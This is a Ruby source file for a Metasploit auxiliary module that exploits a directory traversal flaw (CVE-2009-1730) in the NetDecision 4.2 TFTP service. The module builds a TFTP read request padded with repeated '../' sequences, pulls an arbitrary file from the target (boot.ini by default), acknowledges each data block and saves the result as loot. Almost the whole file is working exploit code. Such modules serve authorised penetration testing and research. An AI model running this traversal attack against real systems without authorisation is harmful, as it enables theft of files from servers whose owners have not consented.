119 lines
2.6 KiB
Ruby
119 lines
2.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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def initialize(info={})
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super(update_info(info,
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'Name' => "NetDecision 4.2 TFTP Directory Traversal",
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'Description' => %q{
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This modules exploits a directory traversal vulnerability in NetDecision 4.2
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TFTP service.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Rob Kraus', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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['CVE', '2009-1730'],
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['OSVDB', '54607'],
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['BID', '35002']
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],
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'DisclosureDate' => "May 16 2009"
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))
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register_options(
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[
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Opt::RPORT(69),
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OptInt.new('DEPTH', [false, "Levels to reach base directory",1]),
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OptString.new('FILENAME', [false, 'The file to loot', 'boot.ini']),
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], self.class)
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end
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def run_host(ip)
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# Configure how deep we want to traverse
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depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
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# Prepare the filename
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file_name = "../" * depth
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file_name << datastore['FILENAME']
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# Prepare the packet
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pkt = "\x00\x01"
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pkt << file_name
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pkt << "\x00"
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pkt << "octet"
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pkt << "\x00"
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# We need to reuse the same port in order to receive the data
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udp_sock = Rex::Socket::Udp.create(
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{
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'Context' => {'Msf' => framework, 'MsfExploit'=>self}
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}
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)
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add_socket(udp_sock)
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# Send the packet to target
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file_data = ''
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udp_sock.sendto(pkt, ip, datastore['RPORT'].to_i)
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while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
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opcode, block, data = r[0].unpack("nna*") # Parse reply
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if opcode != 3 # Check opcode: 3 => Data Packet
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print_error("Error retrieving file #{file_name} from #{ip}")
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return
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end
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file_data << data
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udp_sock.sendto(tftp_ack(block), r[1], r[2].to_i, 0) # Ack
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end
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if file_data.empty?
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print_error("Error retrieving file #{file_name} from #{ip}")
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return
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end
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udp_sock.close
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# Output file if verbose
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vprint_line(file_data.to_s)
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# Save file to disk
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path = store_loot(
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'netdecision.tftp',
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'application/octet-stream',
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ip,
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file_data,
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datastore['FILENAME']
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)
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print_status("File saved in: #{path}")
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end
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#
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# Returns an Acknowledgement
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#
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def tftp_ack(block=1)
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pkt = "\x00\x04" # Ack
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pkt << [block].pack("n") # Block Id
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end
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end
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